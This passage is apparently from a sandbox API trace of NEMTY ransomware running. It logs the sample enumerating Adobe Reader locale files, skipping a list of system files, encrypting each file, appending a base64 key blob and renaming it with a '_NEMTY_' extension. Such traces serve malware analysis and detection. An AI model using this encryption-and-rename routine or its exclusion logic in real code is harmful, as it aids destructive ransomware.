RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0182.206] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0182.206] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0182.206] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Acroform.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\acroform.rum"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0182.207] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=436224) returned 1 [0182.207] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0182.207] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.207] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0182.216] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.216] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0182.216] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0182.216] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=436224, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6a800 [0182.216] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0182.308] CloseHandle (hObject=0x2e8) returned 1 [0182.308] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0182.308] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0182.308] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.308] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0182.308] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.308] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.308] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0182.309] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0182.309] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0182.309] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.309] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Acroform.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\acroform.rum"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Acroform.RUM._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\acroform.rum._nemty_kgobjgd_")) returned 1 [0182.309] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0182.309] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0182.309] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0182.309] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0182.310] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0182.310] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0182.310] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.310] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0182.310] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d0fa60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="AdobeCollabSync.RUM", cAlternateFileName="ADOBEC~1.RUM")) returned 1 [0182.310] lstrcmpiW (lpString1="AdobeCollabSync.RUM", lpString2=".") returned 1 [0182.310] lstrcmpiW (lpString1="AdobeCollabSync.RUM", lpString2="..") returned 1 [0182.310] lstrcmpiW (lpString1="AdobeCollabSync.RUM", lpString2="...") returned 1 [0182.310] lstrcmpiW (lpString1="AdobeCollabSync.RUM", lpString2="windows") returned -1 [0182.310] lstrcmpiW (lpString1="AdobeCollabSync.RUM", lpString2="$RECYCLE.BIN") returned 1 [0182.310] lstrcmpiW (lpString1="AdobeCollabSync.RUM", lpString2="rsa") returned -1 [0182.310] lstrcmpiW (lpString1="AdobeCollabSync.RUM", lpString2="NTDETECT.COM") returned -1 [0182.310] lstrcmpiW (lpString1="AdobeCollabSync.RUM", lpString2="ntldr") returned -1 [0182.310] lstrcmpiW (lpString1="AdobeCollabSync.RUM", lpString2="MSDOS.SYS") returned -1 [0182.310] lstrcmpiW (lpString1="AdobeCollabSync.RUM", lpString2="IO.SYS") returned -1 [0182.310] lstrcmpiW (lpString1="AdobeCollabSync.RUM", lpString2="boot.ini") returned -1 [0182.310] lstrcmpiW (lpString1="AdobeCollabSync.RUM", lpString2="boot.ini") returned -1 [0182.310] lstrcmpiW (lpString1="AdobeCollabSync.RUM", lpString2="AUTOEXEC.BAT") returned -1 [0182.310] lstrcmpiW (lpString1="AdobeCollabSync.RUM", lpString2="ntuser.dat") returned -1 [0182.310] lstrcmpiW (lpString1="AdobeCollabSync.RUM", lpString2="desktop.ini") returned -1 [0182.310] lstrcmpiW (lpString1="AdobeCollabSync.RUM", lpString2="CONFIG.SYS") returned -1 [0182.310] lstrcmpiW (lpString1="AdobeCollabSync.RUM", lpString2="RECYCLER") returned -1 [0182.310] lstrcmpiW (lpString1="AdobeCollabSync.RUM", lpString2="BOOTSECT.BAK") returned -1 [0182.310] lstrcmpiW (lpString1="AdobeCollabSync.RUM", lpString2="bootmgr") returned -1 [0182.310] lstrcmpiW (lpString1="AdobeCollabSync.RUM", lpString2="programdata") returned -1 [0182.310] lstrcmpiW (lpString1="AdobeCollabSync.RUM", lpString2="appdata") returned -1 [0182.310] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0182.310] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.RUM", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0182.310] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.310] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.RUM", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.RUM", lpUsedDefaultChar=0x0) returned 19 [0182.310] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.310] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0182.311] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.RUM", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0182.311] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.311] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.RUM", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.RUM", lpUsedDefaultChar=0x0) returned 19 [0182.311] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.311] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0182.311] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0182.311] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0182.311] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.RUM", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0182.311] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.311] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.RUM", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.RUM", lpUsedDefaultChar=0x0) returned 19 [0182.311] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0182.311] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0182.311] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.RUM", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0182.311] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.311] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.RUM", cchWideChar=19, lpMultiByteStr=0x4f9ed58, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.RUM", lpUsedDefaultChar=0x0) returned 19 [0182.311] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0182.311] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0182.311] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0182.311] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0182.311] Sleep (dwMilliseconds=0x5) [0182.315] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x2050aa50, dwHighDateTime=0x1d561e8)) [0182.315] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x2050aa50, dwHighDateTime=0x1d561e8)) [0182.315] GetLastError () returned 0x0 [0182.315] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0182.315] GetLastError () returned 0x0 [0182.315] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0182.315] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0182.315] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0182.315] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0182.315] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0182.315] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0182.315] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e5dc | out: pszString="FsdJa+RgXW34fhyujggL2eJEc8PYhBQJf2yWXlPVHzAykVCjKryUd5pv8PPbZ1oq\r\n3Vhpmfi3qSHEOqgutr4tuGPHXOtvRdloAu1Um2AAku62yOdTMFS7wAoA9JDaBCZ0\r\n5KKfLhp3YSX1iDFqokGJhYDmGXIB6mmmsT0C0e25OcuMVMEE/epwBcafcggPp8ih\r\nekwZoNt97vcWaNxlq3CTXimLTpk9oHpR3QYFgGeWfCPDBK8OkoAA8F1C3nSoOXNg\r\nTaxEkUPr8pSMnN5rBQyC7I2gZ+0dLD9qfO/EHhivPP7rAPwWPXry7bemLvlfR9oN\r\ndDKIMd5X8ShdsszzaaHAtg==\r\n", pcchString=0x653e5dc) returned 1 [0182.315] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0182.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0182.316] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0182.316] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0182.316] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0182.316] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0182.316] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\AdobeCollabSync.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\adobecollabsync.rum"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0182.316] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=7168) returned 1 [0182.316] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1c00) returned 0x6352c48 [0182.316] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.316] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1c00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1c00, lpOverlapped=0x0) returned 1 [0182.318] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.318] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1c00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1c00, lpOverlapped=0x0) returned 1 [0182.318] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0182.318] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=7168, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1c00 [0182.319] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0182.319] CloseHandle (hObject=0x2e8) returned 1 [0182.319] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0182.319] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0182.319] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0182.319] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0182.319] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0182.319] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0182.319] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0182.319] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0182.319] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0182.319] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0182.319] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\AdobeCollabSync.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\adobecollabsync.rum"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\AdobeCollabSync.RUM._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\adobecollabsync.rum._nemty_kgobjgd_")) returned 1 [0182.320] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0182.320] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0182.320] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0182.320] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0182.320] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0182.320] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0182.320] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.320] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0182.320] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.320] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.320] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ca00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Annots.RUM", cAlternateFileName="")) returned 1 [0182.320] lstrcmpiW (lpString1="Annots.RUM", lpString2=".") returned 1 [0182.320] lstrcmpiW (lpString1="Annots.RUM", lpString2="..") returned 1 [0182.320] lstrcmpiW (lpString1="Annots.RUM", lpString2="...") returned 1 [0182.320] lstrcmpiW (lpString1="Annots.RUM", lpString2="windows") returned -1 [0182.320] lstrcmpiW (lpString1="Annots.RUM", lpString2="$RECYCLE.BIN") returned 1 [0182.320] lstrcmpiW (lpString1="Annots.RUM", lpString2="rsa") returned -1 [0182.320] lstrcmpiW (lpString1="Annots.RUM", lpString2="NTDETECT.COM") returned -1 [0182.320] lstrcmpiW (lpString1="Annots.RUM", lpString2="ntldr") returned -1 [0182.320] lstrcmpiW (lpString1="Annots.RUM", lpString2="MSDOS.SYS") returned -1 [0182.320] lstrcmpiW (lpString1="Annots.RUM", lpString2="IO.SYS") returned -1 [0182.320] lstrcmpiW (lpString1="Annots.RUM", lpString2="boot.ini") returned -1 [0182.320] lstrcmpiW (lpString1="Annots.RUM", lpString2="boot.ini") returned -1 [0182.320] lstrcmpiW (lpString1="Annots.RUM", lpString2="AUTOEXEC.BAT") returned -1 [0182.320] lstrcmpiW (lpString1="Annots.RUM", lpString2="ntuser.dat") returned -1 [0182.320] lstrcmpiW (lpString1="Annots.RUM", lpString2="desktop.ini") returned -1 [0182.320] lstrcmpiW (lpString1="Annots.RUM", lpString2="CONFIG.SYS") returned -1 [0182.320] lstrcmpiW (lpString1="Annots.RUM", lpString2="RECYCLER") returned -1 [0182.320] lstrcmpiW (lpString1="Annots.RUM", lpString2="BOOTSECT.BAK") returned -1 [0182.320] lstrcmpiW (lpString1="Annots.RUM", lpString2="bootmgr") returned -1 [0182.321] lstrcmpiW (lpString1="Annots.RUM", lpString2="programdata") returned -1 [0182.321] lstrcmpiW (lpString1="Annots.RUM", lpString2="appdata") returned -1 [0182.321] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.321] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.RUM", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0182.321] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.RUM", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.RUM", lpUsedDefaultChar=0x0) returned 10 [0182.321] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.321] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.RUM", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0182.321] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.RUM", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.RUM", lpUsedDefaultChar=0x0) returned 10 [0182.321] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.321] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.321] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.321] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.RUM", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0182.321] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.RUM", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.RUM", lpUsedDefaultChar=0x0) returned 10 [0182.321] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.321] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.321] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.RUM", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0182.321] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.RUM", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.RUM", lpUsedDefaultChar=0x0) returned 10 [0182.321] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.321] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0182.321] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0182.321] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0182.321] Sleep (dwMilliseconds=0x5) [0182.330] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x20530bb0, dwHighDateTime=0x1d561e8)) [0182.331] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x20530bb0, dwHighDateTime=0x1d561e8)) [0182.331] GetLastError () returned 0x0 [0182.331] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0182.331] GetLastError () returned 0x0 [0182.331] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 